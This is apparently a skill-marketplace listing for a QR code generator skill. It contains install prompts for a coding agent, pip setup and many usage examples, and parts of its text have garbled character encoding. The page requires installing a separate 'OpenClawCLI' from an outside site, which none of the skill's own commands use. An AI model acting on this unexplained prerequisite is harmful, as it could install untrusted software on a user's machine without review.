Requirements
- Target platform
- OpenClaw
- Install method
- Manual import
- Extraction
- Extract archive
- Prerequisites
- OpenClaw
- Primary doc
- SKILL.md
Use this skill when users need to create QR codes for any purpose. Triggers include: requests to "generate QR code", "create QR", "make a QR code for", or mentions of encoding data into scannable codes. Supports URLs, text, WiFi credentials, vCards (contact information), email addresses, phone numbers, SMS, location coordinates, calendar events, and custom data. Can customize colors, add logos, generate bulk QR codes, and export in multiple formats (PNG, SVG, PDF). Requires OpenClawCLI installation from clawhub.ai.
Use this skill when users need to create QR codes for any purpose. Triggers include: requests to "generate QR code", "create QR", "make a QR code for", or mentions of encoding data into scannable codes. Supports URLs, text, WiFi credentials, vCards (contact information), email addresses, phone numbers, SMS, location coordinates, calendar events, and custom data. Can customize colors, add logos, generate bulk QR codes, and export in multiple formats (PNG, SVG, PDF). Requires OpenClawCLI installation from clawhub.ai.
Hand the extracted package to your coding agent with a concrete install brief instead of figuring it out manually.
I downloaded a skill package from Yavira. Read SKILL.md from the extracted folder and install it by following the included instructions. Tell me what you changed and call out any manual steps you could not complete.
I downloaded an updated skill package from Yavira. Read SKILL.md from the extracted folder, compare it with my current installation, and upgrade it while preserving any custom configuration unless the package docs explicitly say otherwise. Summarize what changed and any follow-up checks I should run.
Generate customizable QR codes for URLs, text, WiFi credentials, contact cards, and more. Supports batch generation, custom styling, logo embedding, and multiple export formats. โ ๏ธ Prerequisite: Install OpenClawCLI (Windows, MacOS) Installation: # Standard installation pip install qrcode[pil] segno # If you encounter permission errors, use a virtual environment python -m venv venv source venv/bin/activate # On Windows: venv\Scripts\activate pip install qrcode[pil] segno Never use --break-system-packages as it can damage your system's Python installation.
TaskCommandBasic URL QR codepython scripts/qr.py "https://example.com"Text QR codepython scripts/qr.py --type text "Hello World"WiFi QR codepython scripts/qr.py --type wifi --ssid "MyNetwork" --password "secret"vCard contactpython scripts/qr.py --type vcard --name "John Doe" --phone "+1234567890"Custom colorspython scripts/qr.py "URL" --fg-color blue --bg-color whiteWith logopython scripts/qr.py "URL" --logo logo.pngSVG formatpython scripts/qr.py "URL" --format svgBatch generationpython scripts/qr.py --batch urls.txt --output-dir qrcodes/
Generate QR codes for various data types with automatic formatting. Supported Types: URL - Websites and web links Text - Plain text messages WiFi - WiFi network credentials vCard - Contact information (VCF format) Email - Email addresses with optional subject/body Phone - Phone numbers (tel: links) SMS - SMS messages with recipient and text Geo - Geographic coordinates Event - Calendar events (iCal format) Custom - Any custom data
Personalize QR code appearance: Foreground and background colors Custom error correction levels Border size adjustment Module size control Logo/image embedding
Export in various formats for different use cases: PNG - Raster images (default) SVG - Vector graphics (scalable) PDF - Print-ready documents EPS - Vector format for design tools Terminal - ASCII art for terminal display
Generate multiple QR codes from: Text files (one entry per line) CSV files (with metadata) JSON files (with configuration)
Generate QR codes for websites and links. # Simple URL python scripts/qr.py "https://example.com" # With custom filename python scripts/qr.py "https://github.com" --output github_qr.png # High error correction for printed codes python scripts/qr.py "https://mysite.com" --error-correction H --output site_qr.png Output: QR code generated: qrcode.png Size: 290x290 pixels Error correction: M (Medium) Data: https://example.com
Encode plain text messages. # Simple text python scripts/qr.py --type text "Hello, World!" # Multi-line text python scripts/qr.py --type text "Line 1\nLine 2\nLine 3" --output message.png # Large text (automatic size adjustment) python scripts/qr.py --type text "$(cat message.txt)" --output text_qr.png
Create scannable WiFi credentials. # WPA/WPA2 network python scripts/qr.py --type wifi --ssid "MyNetwork" --password "SecurePassword123" # WPA2 network (explicit) python scripts/qr.py --type wifi --ssid "HomeWiFi" --password "pass123" --security WPA # Hidden network python scripts/qr.py --type wifi --ssid "SecretNet" --password "secret" --hidden # Open network (no password) python scripts/qr.py --type wifi --ssid "GuestNetwork" --security nopass Security types: WPA, WEP, nopass Output QR contains: WIFI:T:WPA;S:MyNetwork;P:SecurePassword123;H:false;;
Generate vCard QR codes for easy contact sharing. # Basic contact python scripts/qr.py --type vcard --name "John Doe" --phone "+1234567890" # Full contact details python scripts/qr.py --type vcard \ --name "Jane Smith" \ --phone "+1234567890" \ --email "jane@example.com" \ --organization "Tech Corp" \ --title "Senior Developer" \ --url "https://janesmith.com" \ --address "123 Main St, City, State, 12345" \ --output jane_contact.png # Multiple phone numbers python scripts/qr.py --type vcard \ --name "Bob Johnson" \ --phone "+1234567890" \ --phone-home "+0987654321" \ --email "bob@email.com" Generated vCard format: BEGIN:VCARD VERSION:3.0 FN:John Doe TEL:+1234567890 END:VCARD
Create mailto: links with optional subject and body. # Simple email python scripts/qr.py --type email --email "contact@example.com" # With subject python scripts/qr.py --type email --email "support@company.com" --subject "Support Request" # With subject and body python scripts/qr.py --type email \ --email "info@example.com" \ --subject "Inquiry" \ --body "I would like more information about..." Output QR contains: mailto:contact@example.com?subject=Support%20Request&body=Message%20text
Generate clickable phone links. # Simple phone number python scripts/qr.py --type phone --phone "+1234567890" # International format python scripts/qr.py --type phone --phone "+44 20 7946 0958" Output QR contains: tel:+1234567890
Create pre-filled SMS messages. # SMS with recipient only python scripts/qr.py --type sms --phone "+1234567890" # SMS with message python scripts/qr.py --type sms --phone "+1234567890" --message "Hello from QR code!" Output QR contains: sms:+1234567890?body=Hello%20from%20QR%20code!
Encode GPS coordinates. # Coordinates only python scripts/qr.py --type geo --latitude 37.7749 --longitude -122.4194 # With altitude python scripts/qr.py --type geo --latitude 40.7128 --longitude -74.0060 --altitude 10 # Named location python scripts/qr.py --type geo --latitude 51.5074 --longitude -0.1278 --location-name "London" Output QR contains: geo:37.7749,-122.4194
Generate iCalendar event QR codes. # Basic event python scripts/qr.py --type event \ --event-title "Team Meeting" \ --event-start "2024-03-15T14:00:00" \ --event-end "2024-03-15T15:00:00" # Full event details python scripts/qr.py --type event \ --event-title "Conference 2024" \ --event-start "2024-06-01T09:00:00" \ --event-end "2024-06-01T17:00:00" \ --event-location "Convention Center, NYC" \ --event-description "Annual tech conference" \ --output conference_qr.png
Customize foreground and background colors. # Named colors python scripts/qr.py "https://example.com" --fg-color blue --bg-color white # Hex colors python scripts/qr.py "https://example.com" --fg-color "#FF0000" --bg-color "#FFFFFF" # RGB colors python scripts/qr.py "https://example.com" --fg-color "rgb(0,100,200)" --bg-color "rgb(255,255,255)" # Transparent background python scripts/qr.py "https://example.com" --bg-color transparent --format png Common color names: black, white, red, blue, green, yellow, orange, purple, pink, brown, gray
Set error correction level (higher = more damage resistance). --error-correction <L|M|Q|H> Levels: L - Low (~7% recovery) - Use for digital display M - Medium (~15% recovery) - Default, good balance Q - Quartile (~25% recovery) - Use when adding logos H - High (~30% recovery) - Best for print, damaged surfaces # Low (smallest QR code) python scripts/qr.py "https://example.com" --error-correction L # High (best for print with logo) python scripts/qr.py "https://example.com" --error-correction H --logo company.png
Control QR code size and border width. # Custom module size (box size in pixels) python scripts/qr.py "URL" --box-size 20 # Custom border (modules) python scripts/qr.py "URL" --border 2 # Large QR code python scripts/qr.py "URL" --box-size 30 --border 4 --output large_qr.png # Minimal QR code (no border) python scripts/qr.py "URL" --border 0 --output minimal_qr.png Defaults: Box size: 10 pixels Border: 4 modules (recommended minimum)
Add logos or images to QR codes. # Add logo (center) python scripts/qr.py "https://company.com" --logo company_logo.png # Custom logo size (percentage of QR code) python scripts/qr.py "URL" --logo logo.png --logo-size 20 # High error correction recommended with logos python scripts/qr.py "URL" --logo logo.png --error-correction H Logo tips: Use square or circular logos Keep logo size โค 30% of QR code Use high error correction (Q or H) Test scanning after adding logo
Raster image format, good for digital use. python scripts/qr.py "https://example.com" --format png --output qr.png Best for: Web, digital displays, simple sharing
Scalable vector graphics, perfect for any size. python scripts/qr.py "https://example.com" --format svg --output qr.svg Best for: Print, design work, scaling to any size
Print-ready PDF documents. python scripts/qr.py "https://example.com" --format pdf --output qr.pdf Best for: Printing, documents, archival
Encapsulated PostScript for professional design tools. python scripts/qr.py "https://example.com" --format eps --output qr.eps Best for: Professional design software (Adobe Illustrator, etc.)
Display QR code as ASCII art in terminal. python scripts/qr.py "https://example.com" --format terminal Output: โโโโโโโโโโโโโโโโโโโโโโโโโโโโโ โโโโโโโโโโโโโโโโโโโโโโโโโโโโโ โโโโ โโโโโ โโโ โโโโโโ โโโโ โโโโ โ โ โโโโโ โ โ โโโโ โโโโ โโโโโ โโ โ โโโโโ โโโโ ... Best for: Quick terminal display, debugging
Generate QR codes from a list of URLs or text. # Create input file cat > urls.txt << EOF https://example.com https://github.com https://google.com EOF # Generate batch python scripts/qr.py --batch urls.txt --output-dir qrcodes/ Output: qrcodes/ โโโ qr_001.png โโโ qr_002.png โโโ qr_003.png
Generate with metadata (filenames, options). # Create CSV cat > contacts.csv << EOF name,phone,email,filename John Doe,+1234567890,john@example.com,john_qr.png Jane Smith,+0987654321,jane@example.com,jane_qr.png EOF # Generate batch python scripts/qr.py --batch contacts.csv --type vcard --output-dir contacts/
Generate with full customization per QR code. # Create JSON config cat > qr_config.json << EOF [ { "data": "https://example.com", "output": "example_qr.png", "fg_color": "blue", "bg_color": "white" }, { "type": "wifi", "ssid": "MyNetwork", "password": "secret", "output": "wifi_qr.png" } ] EOF # Generate batch python scripts/qr.py --batch qr_config.json --output-dir custom/
Generate QR codes for event tickets. # Create ticket QR codes with unique IDs python scripts/qr.py --type text "TICKET-001-VIP" --output tickets/ticket_001.png python scripts/qr.py --type text "TICKET-002-GENERAL" --output tickets/ticket_002.png # Or batch from CSV cat > tickets.csv << EOF ticket_id,type,name TICKET-001,VIP,John Doe TICKET-002,GENERAL,Jane Smith EOF python scripts/qr.py --batch tickets.csv --template "TICKET-{ticket_id}-{type}" --output-dir tickets/
Create QR code for digital menu. # Menu URL python scripts/qr.py "https://restaurant.com/menu" \ --output menu_qr.png \ --box-size 15 \ --error-correction H # Print version (PDF) python scripts/qr.py "https://restaurant.com/menu" \ --format pdf \ --output menu_qr.pdf \ --box-size 20
Generate WiFi QR code for guests. # Print-friendly version python scripts/qr.py --type wifi \ --ssid "Guest_Network" \ --password "GuestPass123" \ --format pdf \ --output wifi_guest.pdf \ --box-size 15 \ --error-correction H # Poster with logo python scripts/qr.py --type wifi \ --ssid "Guest_Network" \ --password "GuestPass123" \ --logo company_logo.png \ --output wifi_poster.png \ --box-size 20
Create scannable business cards. # Generate vCard python scripts/qr.py --type vcard \ --name "John Doe" \ --phone "+1234567890" \ --email "john@company.com" \ --organization "Tech Corp" \ --title "CEO" \ --url "https://company.com" \ --format svg \ --output business_card.svg # Print version python scripts/qr.py --type vcard \ --name "John Doe" \ --phone "+1234567890" \ --email "john@company.com" \ --format pdf \ --output business_card.pdf \ --box-size 12
QR codes for product information. # Product info URL python scripts/qr.py "https://product.com/info/SKU12345" \ --output product_qr.svg \ --format svg \ --fg-color "#000000" \ --bg-color transparent # With error correction for damaged packaging python scripts/qr.py "https://product.com/info/SKU12345" \ --error-correction H \ --output product_qr_robust.png
QR codes for social profiles. # Instagram python scripts/qr.py "https://instagram.com/username" --output instagram_qr.png # LinkedIn python scripts/qr.py "https://linkedin.com/in/username" --output linkedin_qr.png # Multiple platforms (batch) cat > social.txt << EOF https://twitter.com/username https://instagram.com/username https://linkedin.com/in/username https://github.com/username EOF python scripts/qr.py --batch social.txt --output-dir social_qr/
QR codes for payment services. # PayPal python scripts/qr.py "https://paypal.me/username" --output paypal_qr.png # Venmo python scripts/qr.py "venmo://username" --output venmo_qr.png # Cash App python scripts/qr.py "https://cash.app/$username" --output cashapp_qr.png
Minimum size: 2cm ร 2cm for reliable scanning Viewing distance: QR size should be 10% of scanning distance Border: Keep at least 4 modules border (quiet zone) Testing: Always test scan before printing
Digital display: Use L or M Print without logo: Use M Print with logo: Use H Outdoor/damaged: Use H
High contrast: Dark foreground, light background Avoid: Light colors on light, dark on dark Print: Use pure black/white for best results Branding: Test custom colors before mass production
Size: Keep logo โค 25-30% of QR code Error correction: Use Q or H level Position: Center placement works best Testing: Verify scanning with logo
Digital: PNG for web, screens Print: PDF or SVG for scalability Design: SVG or EPS for editing Archive: Keep source data and SVG version
"Missing required dependency" # Install dependencies pip install qrcode[pil] segno # Or use virtual environment python -m venv venv source venv/bin/activate pip install qrcode[pil] segno "PIL/Pillow not found" pip install Pillow
"QR code too complex" Reduce data size Use higher version (auto-adjusts) Split into multiple QR codes "Cannot scan QR code" Increase error correction Ensure sufficient contrast Check minimum size Remove or reduce logo size Test in good lighting "Logo obscures data" Reduce logo size (--logo-size) Increase error correction to H Use simpler logo design
"Cannot save file" Check output directory exists Verify write permissions Check disk space "Invalid color format" Use named colors: red, blue, green Use hex: #RRGGBB Use rgb: rgb(R,G,B)
python scripts/qr.py [DATA] [OPTIONS] DATA: Text string, URL, or data to encode (required unless using --batch) GENERAL OPTIONS: --type Data type (url|text|wifi|vcard|email|phone|sms|geo|event) -o, --output Output filename (default: qrcode.png) -f, --format Format (png|svg|pdf|eps|terminal) CUSTOMIZATION: --fg-color Foreground color (default: black) --bg-color Background color (default: white) --error-correction Error correction (L|M|Q|H, default: M) --box-size Module size in pixels (default: 10) --border Border size in modules (default: 4) --logo Logo image path --logo-size Logo size percentage (default: 20) WIFI OPTIONS: --ssid Network SSID --password Network password --security Security type (WPA|WEP|nopass) --hidden Hidden network flag VCARD OPTIONS: --name Full name --phone Phone number --phone-home Home phone --phone-work Work phone --email Email address --organization Company/organization --title Job title --url Website URL --address Full address EMAIL OPTIONS: --email Email address --subject Email subject --body Email body PHONE/SMS OPTIONS: --phone Phone number --message SMS message text GEO OPTIONS: --latitude Latitude coordinate --longitude Longitude coordinate --altitude Altitude (optional) --location-name Location name (optional) EVENT OPTIONS: --event-title Event title --event-start Start datetime (ISO format) --event-end End datetime (ISO format) --event-location Event location --event-description Event description BATCH OPTIONS: --batch Input file (txt|csv|json) --output-dir Output directory for batch --template Filename template for batch HELP: --help Show all options
# URL python scripts/qr.py "https://example.com" # Text python scripts/qr.py --type text "Hello World" # Phone python scripts/qr.py --type phone --phone "+1234567890"
# With logo and custom colors python scripts/qr.py "https://company.com" \ --logo logo.png \ --fg-color "#003366" \ --bg-color "#FFFFFF" \ --error-correction H \ --output company_qr.png # Print-ready python scripts/qr.py "https://company.com" \ --format pdf \ --box-size 15 \ --error-correction H \ --output printable_qr.pdf
# WiFi access python scripts/qr.py --type wifi --ssid "Network" --password "pass123" # Contact card python scripts/qr.py --type vcard --name "John Doe" --phone "+1234567890" --email "john@example.com" # Calendar event python scripts/qr.py --type event --event-title "Meeting" --event-start "2024-03-15T14:00:00" --event-end "2024-03-15T15:00:00"
# From URL list python scripts/qr.py --batch urls.txt --output-dir qrcodes/ # From CSV with metadata python scripts/qr.py --batch data.csv --output-dir output/ # Custom configuration per code python scripts/qr.py --batch config.json --output-dir custom/
For issues or questions: Check this documentation Run python scripts/qr.py --help Verify dependencies are installed Test with simple QR code first Resources: OpenClawCLI: https://clawhub.ai/ qrcode library: https://pypi.org/project/qrcode/ segno library: https://pypi.org/project/segno/ QR code specification: ISO/IEC 18004
Workflow acceleration for inboxes, docs, calendars, planning, and execution loops.
Largest current source with strong distribution and engagement signals.